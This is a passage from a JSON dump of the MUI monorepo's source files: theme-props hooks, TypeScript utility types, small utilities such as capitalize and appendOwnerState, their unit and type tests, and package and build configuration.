    "content": "import { expect } from 'chai';\nimport getThemeProps from './getThemeProps';\n\ndescribe('getThemeProps', () => {\n  it('should ignore empty theme', () => {\n    const props = getThemeProps({\n      theme: {},\n      name: 'MuiFoo',\n      props: {},\n    });\n    expect(props).to.deep.equal({});\n  });\n\n  it('should ignore different component', () => {\n    const props = getThemeProps({\n      theme: {\n        components: {\n          MuiBar: {\n            defaultProps: {\n              disableRipple: true,\n            },\n          },\n        },\n      },\n      name: 'MuiFoo',\n      props: {},\n    });\n    expect(props).to.deep.equal({});\n  });\n\n  it('should return the props', () => {\n    const props = getThemeProps({\n      theme: {\n        components: {\n          MuiFoo: {\n            defaultProps: {\n              disableRipple: true,\n            },\n          },\n        },\n      },\n      name: 'MuiFoo',\n      props: {},\n    });\n    expect(props).to.deep.equal({\n      disableRipple: true,\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-system/src/useThemeProps/index.d.ts",
    "content": "export { default } from './useThemeProps';\nexport * from './useThemeProps';\n\nexport { default as getThemeProps } from './getThemeProps';\n"
  },
  {
    "path": "packages/mui-system/src/useThemeProps/index.js",
    "content": "export { default } from './useThemeProps';\nexport { default as getThemeProps } from './getThemeProps';\n"
  },
  {
    "path": "packages/mui-system/src/useThemeProps/useThemeProps.d.ts",
    "content": "export interface ThemeWithProps {\n  components?: any;\n}\n\nexport type ThemedProps<Theme, Name extends keyof any> = Theme extends {\n  components: Record<Name, { defaultProps: infer Props }>;\n}\n  ? Props\n  : {};\n\nexport default function useThemeProps<\n  Theme extends ThemeWithProps,\n  Props,\n  Name extends keyof any,\n>(params: {\n  props: Props;\n  name: Name;\n  defaultTheme?: Theme | undefined;\n  themeId?: string | undefined;\n}): Props & ThemedProps<Theme, Name>;\n"
  },
  {
    "path": "packages/mui-system/src/useThemeProps/useThemeProps.js",
    "content": "'use client';\nimport getThemeProps from './getThemeProps';\nimport useTheme from '../useTheme';\n\nexport default function useThemeProps({ props, name, defaultTheme, themeId }) {\n  let theme = useTheme(defaultTheme);\n  if (themeId) {\n    theme = theme[themeId] || theme;\n  }\n  return getThemeProps({ theme, name, props });\n}\n"
  },
  {
    "path": "packages/mui-system/src/useThemeProps/useThemeProps.spec.ts",
    "content": "import { expectType } from '@mui/types';\nimport useThemeProps from '@mui/system/useThemeProps';\n\ninterface SliderProps {\n  track?: boolean;\n  valueLabelDisplay?: boolean;\n  color: 'primary' | 'secondary';\n}\n\ninterface Theme {\n  components?: {\n    MuiSlider: {\n      defaultProps: SliderProps;\n    };\n  };\n}\n\nfunction ThemedComponent() {\n  const props = useThemeProps<Theme, SliderProps, 'MuiSlider'>({\n    props: { color: 'primary' },\n    name: 'MuiSlider',\n  });\n\n  // component's props are valid\n  // Only existence of props is relevant here not type.\n  props.track;\n  props.valueLabelDisplay;\n}\n"
  },
  {
    "path": "packages/mui-system/src/useThemeWithoutDefault/index.ts",
    "content": "export { default } from './useThemeWithoutDefault';\n"
  },
  {
    "path": "packages/mui-system/src/useThemeWithoutDefault/useThemeWithoutDefault.d.ts",
    "content": "export default function useThemeWithoutDefault<T = null>(defaultTheme?: T): T;\n"
  },
  {
    "path": "packages/mui-system/src/useThemeWithoutDefault/useThemeWithoutDefault.js",
    "content": "'use client';\nimport * as React from 'react';\nimport { ThemeContext } from '@mui/styled-engine';\n\nfunction isObjectEmpty(obj) {\n  return Object.keys(obj).length === 0;\n}\n\nfunction useTheme(defaultTheme = null) {\n  const contextTheme = React.useContext(ThemeContext);\n  return !contextTheme || isObjectEmpty(contextTheme) ? defaultTheme : contextTheme;\n}\n\nexport default useTheme;\n"
  },
  {
    "path": "packages/mui-system/src/version/index.ts",
    "content": "export const version = process.env.MUI_VERSION;\nexport const major = Number(process.env.MUI_MAJOR_VERSION);\nexport const minor = Number(process.env.MUI_MINOR_VERSION);\nexport const patch = Number(process.env.MUI_PATCH_VERSION);\nexport const prerelease = process.env.MUI_PRERELEASE;\n\nexport default version;\n"
  },
  {
    "path": "packages/mui-system/test/describeConformance.ts",
    "content": "import {\n  describeConformance as baseDescribeConformance,\n  ConformanceOptions,\n} from '@mui/internal-test-utils';\nimport { ThemeProvider, createTheme } from '@mui/system';\n\nexport default function describeConformance(\n  minimalElement: React.ReactElement<unknown>,\n  getOptions: () => ConformanceOptions,\n) {\n  function getOptionsWithDefaults() {\n    return {\n      ThemeProvider,\n      createTheme,\n      ...getOptions(),\n    };\n  }\n\n  return baseDescribeConformance(minimalElement, getOptionsWithDefaults);\n}\n"
  },
  {
    "path": "packages/mui-system/test/typescript/moduleAugmentation/boxSx.spec.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/system/Box';\n\n// https://github.com/mui/material-ui/issues/34068\n\ndeclare global {\n  // eslint-disable-next-line @typescript-eslint/no-namespace\n  namespace JSX {\n    interface IntrinsicElements {\n      test1: number;\n      test2: number;\n      test3: number;\n      test4: number;\n      test5: number;\n      test6: number;\n      test7: number;\n      test8: number;\n      test9: number;\n      test10: number;\n      test11: number;\n      test12: number;\n      test13: number;\n      test14: number;\n      test15: number;\n      test16: number;\n      test17: number;\n      test18: number;\n      test19: number;\n      test20: number;\n      test21: number;\n      test22: number;\n      test23: number;\n      test24: number;\n      test25: number;\n      test26: number;\n      test27: number;\n      test28: number;\n      test29: number;\n      test30: number;\n      test31: number;\n      test32: number;\n      test33: number;\n      test34: number;\n      test35: number;\n      test36: number;\n      test37: number;\n      test38: number;\n      test39: number;\n      test40: number;\n      test41: number;\n      test42: number;\n      test43: number;\n      test44: number;\n      test45: number;\n      test46: number;\n      test47: number;\n      test48: number;\n      test49: number;\n      test50: number;\n      test51: number;\n      test52: number;\n      test53: number;\n      test54: number;\n      test55: number;\n      test56: number;\n      test57: number;\n      test58: number;\n      test59: number;\n      test60: number;\n      test61: number;\n      test62: number;\n      test63: number;\n      test64: number;\n      test65: number;\n      test66: number;\n      test67: number;\n      test68: number;\n      test69: number;\n      test70: number;\n      test71: number;\n      test72: number;\n      test73: number;\n      test74: number;\n      test75: number;\n      test76: number;\n      test77: number;\n      test78: number;\n      test79: number;\n      test80: number;\n      test81: number;\n      test82: number;\n      test83: number;\n      test84: number;\n      test85: number;\n      test86: number;\n      test87: number;\n      test88: number;\n      test89: number;\n      test90: number;\n      test91: number;\n      test92: number;\n      test93: number;\n      test94: number;\n      test95: number;\n      test96: number;\n      test97: number;\n      test98: number;\n      test99: number;\n      test100: number;\n      test101: number;\n      test102: number;\n      test103: number;\n      test104: number;\n      test105: number;\n      test106: number;\n      test107: number;\n      test108: number;\n      test109: number;\n      test110: number;\n      test111: number;\n      test112: number;\n      test113: number;\n      test114: number;\n      test115: number;\n      test116: number;\n      test117: number;\n      test118: number;\n      test119: number;\n      test120: number;\n      test121: number;\n      test122: number;\n      test123: number;\n      test124: number;\n      test125: number;\n      test126: number;\n      test127: number;\n      test128: number;\n      test129: number;\n      test130: number;\n      test131: number;\n      test132: number;\n      test133: number;\n      test134: number;\n      test135: number;\n      test136: number;\n      test137: number;\n      test138: number;\n      test139: number;\n    }\n  }\n}\n\nfunction Test() {\n  return (\n    <div>\n      <Box sx={{ m: 1, p: 1 }} />\n      <Box component=\"span\" sx={{ m: 1, p: 1 }} />\n    </div>\n  );\n}\n"
  },
  {
    "path": "packages/mui-system/test/typescript/moduleAugmentation/boxSx.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig\",\n  \"files\": [\"boxSx.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-system/test/typescript/moduleAugmentation/gridCustomBreakpoints.spec.tsx",
    "content": "import * as React from 'react';\nimport { createTheme, ThemeProvider } from '@mui/system';\nimport Grid from '@mui/system/Grid';\n\ndeclare module '@mui/system' {\n  interface BreakpointOverrides {\n    xs: false;\n    sm: false;\n    md: false;\n    lg: false;\n    xl: false;\n    mobile: true;\n    tablet: true;\n    laptop: true;\n    desktop: true;\n  }\n}\n\nconst theme = createTheme({\n  breakpoints: {\n    values: {\n      mobile: 0,\n      tablet: 640,\n      laptop: 1024,\n      desktop: 1280,\n    },\n  },\n});\n\n<ThemeProvider theme={theme}>\n  <Grid\n    size={{\n      mobile: 1,\n      tablet: 2,\n      laptop: 3,\n      desktop: 4,\n    }}\n    offset={{\n      mobile: 1,\n      tablet: 2,\n      laptop: 3,\n      desktop: 4,\n    }}\n  />\n</ThemeProvider>;\n\n<ThemeProvider theme={theme}>\n  {/* @ts-expect-error unknown desk */}\n  <Grid size={{ desk: 4 }} />\n</ThemeProvider>;\n\n<ThemeProvider theme={theme}>\n  {/* @ts-expect-error unknown deskOffset */}\n  <Grid offset={{ desk: 4 }} />\n</ThemeProvider>;\n"
  },
  {
    "path": "packages/mui-system/test/typescript/moduleAugmentation/gridCustomBreakpoints.tsconfig.json",
    "content": "{\n  \"extends\": \"../../../../../tsconfig.json\",\n  \"files\": [\"gridCustomBreakpoints.spec.tsx\"]\n}\n"
  },
  {
    "path": "packages/mui-system/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": true,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./src\"\n  },\n  \"include\": [\"src/**/*.ts*\"],\n  \"exclude\": [\"src/**/*.spec.ts*\", \"src/**/*.test.ts*\"],\n  \"references\": [{ \"path\": \"../mui-utils/tsconfig.build.json\" }]\n}\n"
  },
  {
    "path": "packages/mui-system/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"include\": [\"src/**/*\", \"test/**/*\"],\n  \"exclude\": [\"test/typescript/moduleAugmentation\"]\n}\n"
  },
  {
    "path": "packages/mui-system/vitest.config.browser.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url);\n"
  },
  {
    "path": "packages/mui-system/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-types/README.md",
    "content": "# @mui/types\n\nUtility types used by MUI.\n"
  },
  {
    "path": "packages/mui-types/package.json",
    "content": "{\n  \"name\": \"@mui/types\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Utility types for Material UI.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"types\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-types\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://github.com/mui/material-ui/tree/master/packages/mui-types\",\n  \"scripts\": {\n    \"build\": \"code-infra build --flat\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"echo 'No runtime test. Type tests are run with the `typescript` script.'\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"attw\": \"attw --pack ./build --entrypoints \\\".\\\"\"\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\"\n  },\n  \"devDependencies\": {\n    \"@mui/types\": \"workspace:*\",\n    \"@types/react\": \"19.2.14\"\n  },\n  \"peerDependencies\": {\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    }\n  },\n  \"exports\": {\n    \".\": \"./src/index.ts\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-types/src/OverridableComponentAugmentation.ts",
    "content": "import * as React from 'react';\n\ndeclare module '@mui/types' {\n  /**\n   * A component whose root component can be controlled via a `component` prop.\n   *\n   * Adjusts valid props based on the type of `component`.\n   */\n  interface OverridableComponent<M extends OverridableTypeMap> {\n    <C extends React.ElementType>(\n      props: {\n        /**\n         * The component used for the root node.\n         * Either a string to use a HTML element or a component.\n         */\n        component: C;\n      } & OverridePropsVer2<M, C>,\n    ): React.JSX.Element;\n    (props: DefaultComponentPropsVer2<M>): React.JSX.Element;\n    propTypes?: any;\n  }\n\n  /**\n   * Props of the component if `component={Component}` is used.\n   */\n  // prettier-ignore\n  type OverridePropsVer2<\n    M extends OverridableTypeMap,\n    C extends React.ElementType\n  > = (\n    & BaseProps<M>\n    & DistributiveOmit<React.ComponentPropsWithoutRef<C>, keyof BaseProps<M>>\n    & { ref?: (React.Ref<Element>) | undefined }\n  );\n\n  /**\n   * Props if `component={Component}` is NOT used.\n   */\n  // prettier-ignore\n  type DefaultComponentPropsVer2<M extends OverridableTypeMap> =\n    & BaseProps<M>\n    & DistributiveOmit<React.ComponentPropsWithoutRef<M['defaultComponent']>, keyof BaseProps<M>>\n    & { ref?: (React.Ref<Element>) | undefined };\n}\n"
  },
  {
    "path": "packages/mui-types/src/index.spec.ts",
    "content": "import { expectType } from '.';\n\nfunction expectTypeTypes() {\n  // it rejects assignability to `any`\n  function onClick(event: any) {\n    // @ts-expect-error\n    expectType<MouseEvent, typeof event>(event);\n  }\n}\n"
  },
  {
    "path": "packages/mui-types/src/index.ts",
    "content": "import * as React from 'react';\n\n// disable automatic export\nexport {};\n\n/**\n * `T extends ConsistentWith<T, U>` means that where `T` has overlapping properties with\n * `U`, their value types do not conflict.\n *\n * @internal\n */\nexport type ConsistentWith<DecorationTargetProps, InjectedProps> = {\n  [P in keyof DecorationTargetProps]: P extends keyof InjectedProps\n    ? InjectedProps[P] extends DecorationTargetProps[P]\n      ? DecorationTargetProps[P]\n      : InjectedProps[P]\n    : DecorationTargetProps[P];\n};\n\n/**\n * a function that takes {component} and returns a component that passes along\n * all the props to {component} except the {InjectedProps} and will accept\n * additional {AdditionalProps}\n */\nexport type PropInjector<InjectedProps, AdditionalProps = {}> = <\n  C extends React.JSXElementConstructor<ConsistentWith<React.ComponentProps<C>, InjectedProps>>,\n>(\n  component: C,\n) => React.JSXElementConstructor<\n  DistributiveOmit<\n    React.JSX.LibraryManagedAttributes<C, React.ComponentProps<C>>,\n    keyof InjectedProps\n  > &\n    AdditionalProps\n>;\n\n/**\n * Remove properties `K` from `T`.\n * Distributive for union types.\n *\n * @internal\n */\nexport type DistributiveOmit<T, K extends keyof any> = T extends any ? Omit<T, K> : never;\n\n/**\n * Generate a set of string literal types with the given default record `T` and\n * override record `U`.\n *\n * If the property value was `true`, the property key will be added to the\n * string union.\n *\n * @internal\n */\nexport type OverridableStringUnion<T extends string | number, U = {}> = GenerateStringUnion<\n  Overwrite<Record<T, true>, U>\n>;\n\n/**\n * Like `T & U`, but using the value types from `U` where their properties overlap.\n *\n * @internal\n */\nexport type Overwrite<T, U> = DistributiveOmit<T, keyof U> & U;\n\ntype GenerateStringUnion<T> = Extract<\n  {\n    [Key in keyof T]: true extends T[Key] ? Key : never;\n  }[keyof T],\n  string\n>;\n\n// https://stackoverflow.com/questions/53807517/how-to-test-if-two-types-are-exactly-the-same\nexport type IfEquals<T, U, Y = unknown, N = never> =\n  (<G>() => G extends T ? 1 : 2) extends <G>() => G extends U ? 1 : 2 ? Y : N;\n\n/**\n * Issues a type error if `Expected` is not identical to `Actual`.\n *\n * `Expected` should be declared when invoking `expectType`.\n * `Actual` should almost always we be a `typeof value` statement.\n *\n * @example `expectType<number | string, typeof value>(value)`\n * TypeScript issues a type error since `value is not assignable to never`.\n * This means `typeof value` is not identical to `number | string`\n * @param actual\n */\nexport declare function expectType<Expected, Actual>(\n  actual: IfEquals<Actual, Expected, Actual>,\n): void;\n\n/**\n * A component whose root component can be controlled via a `component` prop.\n *\n * Adjusts valid props based on the type of `component`.\n */\nexport interface OverridableComponent<M extends OverridableTypeMap> {\n  // If you make any changes to this interface, please make sure to update the\n  // `OverridableComponent` type in `mui-material/src/OverridableComponent.d.ts` as well.\n  // Also, there are types in Base UI that have a similar shape to this interface\n  // (for example SelectType, OptionType, etc.).\n  <C extends React.ElementType>(\n    props: {\n      /**\n       * The component used for the root node.\n       * Either a string to use a HTML element or a component.\n       */\n      component: C;\n    } & OverrideProps<M, C>,\n  ): React.JSX.Element | null;\n  (props: DefaultComponentProps<M>): React.JSX.Element | null;\n  propTypes?: any;\n}\n\n/**\n * Props of the component if `component={Component}` is used.\n */\n// prettier-ignore\nexport type OverrideProps<\n  M extends OverridableTypeMap,\n  C extends React.ElementType\n> = (\n  & BaseProps<M>\n  & DistributiveOmit<React.ComponentPropsWithRef<C>, keyof BaseProps<M>>\n);\n\n/**\n * Props if `component={Component}` is NOT used.\n */\n// prettier-ignore\nexport type DefaultComponentProps<M extends OverridableTypeMap> =\n  & BaseProps<M>\n  & DistributiveOmit<React.ComponentPropsWithRef<M['defaultComponent']>, keyof BaseProps<M>>;\n\n/**\n * Props defined on the component.\n */\n// prettier-ignore\nexport type BaseProps<M extends OverridableTypeMap> = M['props'];\n\nexport interface OverridableTypeMap {\n  props: {};\n  defaultComponent: React.ElementType;\n}\n\n/**\n * Simplifies the display of a type (without modifying it).\n * Taken from https://effectivetypescript.com/2022/02/25/gentips-4-display/\n */\nexport type Simplify<T> = T extends Function ? T : { [K in keyof T]: T[K] };\n\n/**\n * Changes the properties K from T to required\n */\nexport type PartiallyRequired<T, K extends keyof T> = DistributiveOmit<T, K> & {\n  [P in K]-?: T[P];\n};\n"
  },
  {
    "path": "packages/mui-types/tsconfig.build.json",
    "content": "{\n  // This config is for emitting declarations (.d.ts) only\n  // Actual .ts source files are transpiled via babel\n  \"extends\": \"./tsconfig.json\",\n  \"compilerOptions\": {\n    \"composite\": true,\n    \"declaration\": true,\n    \"noEmit\": false,\n    \"emitDeclarationOnly\": true,\n    \"outDir\": \"build\",\n    \"rootDir\": \"./src\"\n  },\n  \"include\": [\"./src/**/*.ts*\"],\n  \"exclude\": [\"src/**/*.spec.ts*\", \"src/**/*.test.ts*\"]\n}\n"
  },
  {
    "path": "packages/mui-types/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"include\": [\"src/**/*\", \"test/**/*\"],\n  \"exclude\": [\"src/OverridableComponentAugmentation.ts\"]\n}\n"
  },
  {
    "path": "packages/mui-types/vitest.config.mts",
    "content": "// eslint-disable-next-line import/no-relative-packages\nimport sharedConfig from '../../vitest.shared.mts';\n\nexport default sharedConfig(import.meta.url, { jsdom: true });\n"
  },
  {
    "path": "packages/mui-utils/README.md",
    "content": "# @mui/utils\n\nShared utilities used by MUI packages.\n"
  },
  {
    "path": "packages/mui-utils/package.json",
    "content": "{\n  \"name\": \"@mui/utils\",\n  \"version\": \"9.0.0-beta.0\",\n  \"author\": \"MUI Team\",\n  \"description\": \"Utility functions for React components.\",\n  \"keywords\": [\n    \"react\",\n    \"react-component\",\n    \"mui\",\n    \"utils\"\n  ],\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/mui/material-ui.git\",\n    \"directory\": \"packages/mui-utils\"\n  },\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/mui/material-ui/issues\"\n  },\n  \"homepage\": \"https://github.com/mui/material-ui/tree/master/packages/mui-utils\",\n  \"funding\": {\n    \"type\": \"opencollective\",\n    \"url\": \"https://opencollective.com/mui-org\"\n  },\n  \"scripts\": {\n    \"build\": \"code-infra build --flat\",\n    \"release\": \"pnpm build && pnpm publish\",\n    \"test\": \"pnpm --workspace-root test:unit --project \\\"*:@mui/utils\\\"\",\n    \"typescript\": \"tsc -p tsconfig.json\",\n    \"attw\": \"attw --pack ./build --entrypoints \\\".\\\" \\\"deepmerge\\\" \\\"useId\\\" \\\"composeClasses\\\"\"\n  },\n  \"dependencies\": {\n    \"@babel/runtime\": \"^7.29.2\",\n    \"@mui/types\": \"workspace:^\",\n    \"@types/prop-types\": \"^15.7.15\",\n    \"clsx\": \"^2.1.1\",\n    \"prop-types\": \"^15.8.1\",\n    \"react-is\": \"^19.2.4\"\n  },\n  \"devDependencies\": {\n    \"@mui/types\": \"workspace:^\",\n    \"@types/chai\": \"5.2.3\",\n    \"@types/node\": \"20.19.37\",\n    \"@types/react\": \"19.2.14\",\n    \"@types/react-dom\": \"19.2.3\",\n    \"@types/react-is\": \"19.2.0\",\n    \"@types/sinon\": \"17.0.4\",\n    \"chai\": \"6.2.2\",\n    \"react\": \"19.2.4\",\n    \"react-dom\": \"19.2.4\",\n    \"sinon\": \"21.0.3\"\n  },\n  \"peerDependencies\": {\n    \"@types/react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\",\n    \"react\": \"^17.0.0 || ^18.0.0 || ^19.0.0\"\n  },\n  \"peerDependenciesMeta\": {\n    \"@types/react\": {\n      \"optional\": true\n    }\n  },\n  \"sideEffects\": false,\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"directory\": \"build\"\n  },\n  \"engines\": {\n    \"node\": \">=14.0.0\"\n  },\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./*\": \"./src/*/index.ts\"\n  }\n}\n"
  },
  {
    "path": "packages/mui-utils/src/ClassNameGenerator/ClassNameGenerator.ts",
    "content": "const defaultGenerator = (componentName: string) => componentName;\n\nconst createClassNameGenerator = () => {\n  let generate = defaultGenerator;\n  return {\n    configure(generator: typeof generate) {\n      generate = generator;\n    },\n    generate(componentName: string) {\n      return generate(componentName);\n    },\n    reset() {\n      generate = defaultGenerator;\n    },\n  };\n};\n\nconst ClassNameGenerator = createClassNameGenerator();\n\nexport default ClassNameGenerator;\n"
  },
  {
    "path": "packages/mui-utils/src/ClassNameGenerator/index.ts",
    "content": "export { default } from './ClassNameGenerator';\n"
  },
  {
    "path": "packages/mui-utils/src/HTMLElementType/HTMLElementType.ts",
    "content": "export default function HTMLElementType(\n  props: { [key: string]: unknown },\n  propName: string,\n  componentName: string,\n  location: string,\n  propFullName: string,\n): Error | null {\n  if (process.env.NODE_ENV === 'production') {\n    return null;\n  }\n\n  const propValue = props[propName];\n  const safePropName = propFullName || propName;\n\n  if (propValue == null) {\n    return null;\n  }\n\n  if (propValue && (propValue as any).nodeType !== 1) {\n    return new Error(\n      `Invalid ${location} \\`${safePropName}\\` supplied to \\`${componentName}\\`. ` +\n        `Expected an HTMLElement.`,\n    );\n  }\n\n  return null;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/HTMLElementType/index.ts",
    "content": "export { default } from './HTMLElementType';\n"
  },
  {
    "path": "packages/mui-utils/src/appendOwnerState/appendOwnerState.spec.tsx",
    "content": "import * as React from 'react';\nimport appendOwnerState from './appendOwnerState';\n\nconst divProps = appendOwnerState('div', { otherProp: true }, { ownerStateProps: true });\n\n// ownerState is not available on a host component\n// @ts-expect-error\nconst test1 = divProps.ownerState.ownerStateProps;\n// @ts-expect-error\nconst test2 = divProps.ownerState?.ownerStateProps;\n\nconst componentProps = appendOwnerState(\n  () => <div />,\n  { otherProp: true },\n  { ownerStateProps: true },\n);\n\n// ownerState is present on a custom component\nconst test3: boolean = componentProps.ownerState.ownerStateProps;\n\nfunction test(element: React.ElementType) {\n  const props = appendOwnerState(element, { otherProp: true }, { ownerStateProps: true });\n\n  // ownerState may be present on a provided element type (it depends on its exact type)\n  // @ts-expect-error\n  const test4 = props.ownerState.ownerStateProps;\n  const test5: boolean | undefined = props.ownerState?.ownerStateProps;\n}\n"
  },
  {
    "path": "packages/mui-utils/src/appendOwnerState/appendOwnerState.test.ts",
    "content": "import { expect } from 'chai';\nimport appendOwnerState from '@mui/utils/appendOwnerState';\n\nconst ownerState = {\n  className: 'bar',\n  checked: true,\n};\n\nfunction CustomComponent() {\n  return null;\n}\n\ndescribe('appendOwnerState', () => {\n  describe('when the provided elementType is undefined', () => {\n    it('returns the provided existingProps without modification', () => {\n      const existingProps = { className: 'foo' };\n      const actual = appendOwnerState(undefined, existingProps, ownerState);\n\n      expect(actual).to.equal(existingProps);\n    });\n  });\n\n  describe('when a DOM element is provided as elementType', () => {\n    it('returns the provided existingProps without modification', () => {\n      const existingProps = { className: 'foo' };\n      const actual = appendOwnerState('div', existingProps, ownerState);\n\n      expect(actual).to.equal(existingProps);\n    });\n  });\n\n  describe('when a React component is provided as elementType', () => {\n    it('returns the provided existingProps with added ownerState', () => {\n      const existingProps = { className: 'foo' };\n      const actual = appendOwnerState(CustomComponent, existingProps, ownerState);\n\n      expect(actual).to.deep.equal({\n        className: 'foo',\n        ownerState: {\n          className: 'bar',\n          checked: true,\n        },\n      });\n    });\n\n    it('merges the provided ownerState with existing ones', () => {\n      const existingProps = {\n        ownerState: {\n          className: 'foo',\n          id: 'foo',\n        },\n        className: 'foo',\n      };\n\n      const actual = appendOwnerState(CustomComponent, existingProps, ownerState);\n\n      expect(actual).to.deep.equal({\n        className: 'foo',\n        ownerState: {\n          className: 'bar',\n          id: 'foo',\n          checked: true,\n        },\n      });\n    });\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/appendOwnerState/appendOwnerState.ts",
    "content": "import * as React from 'react';\nimport { Simplify } from '@mui/types';\nimport isHostComponent from '../isHostComponent';\n\n/**\n * Type of the ownerState based on the type of an element it applies to.\n * This resolves to the provided OwnerState for React components and `undefined` for host components.\n * Falls back to `OwnerState | undefined` when the exact type can't be determined in development time.\n */\ntype OwnerStateWhenApplicable<ElementType extends React.ElementType, OwnerState> =\n  ElementType extends React.ComponentType<any>\n    ? OwnerState\n    : ElementType extends keyof React.JSX.IntrinsicElements\n      ? undefined\n      : OwnerState | undefined;\n\nexport type AppendOwnerStateReturnType<\n  ElementType extends React.ElementType,\n  OtherProps,\n  OwnerState,\n> = Simplify<\n  OtherProps & {\n    ownerState: OwnerStateWhenApplicable<ElementType, OwnerState>;\n  }\n>;\n\n/**\n * Appends the ownerState object to the props, merging with the existing one if necessary.\n *\n * @param elementType Type of the element that owns the `existingProps`. If the element is a DOM node or undefined, `ownerState` is not applied.\n * @param otherProps Props of the element.\n * @param ownerState\n */\nfunction appendOwnerState<\n  ElementType extends React.ElementType,\n  OtherProps extends Record<string, any>,\n  OwnerState,\n>(\n  elementType: ElementType | undefined,\n  otherProps: OtherProps,\n  ownerState: OwnerState,\n): AppendOwnerStateReturnType<ElementType, OtherProps, OwnerState> {\n  if (elementType === undefined || isHostComponent(elementType)) {\n    return otherProps as AppendOwnerStateReturnType<ElementType, OtherProps, OwnerState>;\n  }\n\n  return {\n    ...otherProps,\n    ownerState: { ...otherProps.ownerState, ...ownerState },\n  } as AppendOwnerStateReturnType<ElementType, OtherProps, OwnerState>;\n}\n\nexport default appendOwnerState;\n"
  },
  {
    "path": "packages/mui-utils/src/appendOwnerState/index.ts",
    "content": "export { default } from './appendOwnerState';\nexport type { AppendOwnerStateReturnType } from './appendOwnerState';\n"
  },
  {
    "path": "packages/mui-utils/src/capitalize/capitalize.test.ts",
    "content": "import { expect } from 'chai';\nimport capitalize from '@mui/utils/capitalize';\n\ndescribe('capitalize', () => {\n  it('should work', () => {\n    expect(capitalize('foo')).to.equal('Foo');\n  });\n\n  it('should throw when not used correctly', () => {\n    expect(() => {\n      // @ts-expect-error Testing improper usage\n      capitalize();\n    }).toThrowMinified(/expects a string argument/);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/capitalize/capitalize.ts",
    "content": "// It should to be noted that this function isn't equivalent to `text-transform: capitalize`.\n//\n// A strict capitalization should uppercase the first letter of each word in the sentence.\n// We only handle the first word.\nexport default function capitalize(string: string): string {\n  if (typeof string !== 'string') {\n    throw /* minify-error */ new Error('MUI: `capitalize(string)` expects a string argument.');\n  }\n\n  return string.charAt(0).toUpperCase() + string.slice(1);\n}\n"
  },
  {
    "path": "packages/mui-utils/src/capitalize/index.ts",
    "content": "export { default } from './capitalize';\n"
  },
  {
    "path": "packages/mui-utils/src/chainPropTypes/chainPropTypes.spec.tsx",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport chainPropTypes from './chainPropTypes';\n\ninterface ChainProps {\n  foo?: boolean;\n}\n\nconst Chain: React.FC<ChainProps> = function Chain(props) {\n  return <div />;\n};\n\nChain.propTypes = {\n  foo: chainPropTypes(PropTypes.bool, () => {\n    return null;\n  }),\n};\n"
  },
  {
    "path": "packages/mui-utils/src/chainPropTypes/chainPropTypes.test.ts",
    "content": "import { expect } from 'chai';\nimport PropTypes from 'prop-types';\nimport chainPropTypes from './chainPropTypes';\n\ndescribe('chainPropTypes', () => {\n  const props = {};\n  const propName = 'children';\n  const componentName = 'ComponentName';\n  const location = 'prop';\n\n  beforeEach(() => {\n    PropTypes.resetWarningCache();\n  });\n\n  it('should have the right shape', () => {\n    expect(typeof chainPropTypes).to.equal('function');\n  });\n\n  it('should return null for supported props', () => {\n    PropTypes.checkPropTypes(\n      {\n        [propName]: chainPropTypes(PropTypes.string, () => null),\n      },\n      props,\n      location,\n      componentName,\n    );\n    expect(() => {}).not.toErrorDev();\n  });\n\n  it('should return an error for unsupported props', () => {\n    expect(() => {\n      PropTypes.checkPropTypes(\n        {\n          [propName]: chainPropTypes(PropTypes.string, () => new Error('something is wrong')),\n        },\n        props,\n        location,\n        componentName,\n      );\n    }).toErrorDev(['something is wrong']);\n  });\n});\n"
  },
  {
    "path": "packages/mui-utils/src/chainPropTypes/chainPropTypes.ts",
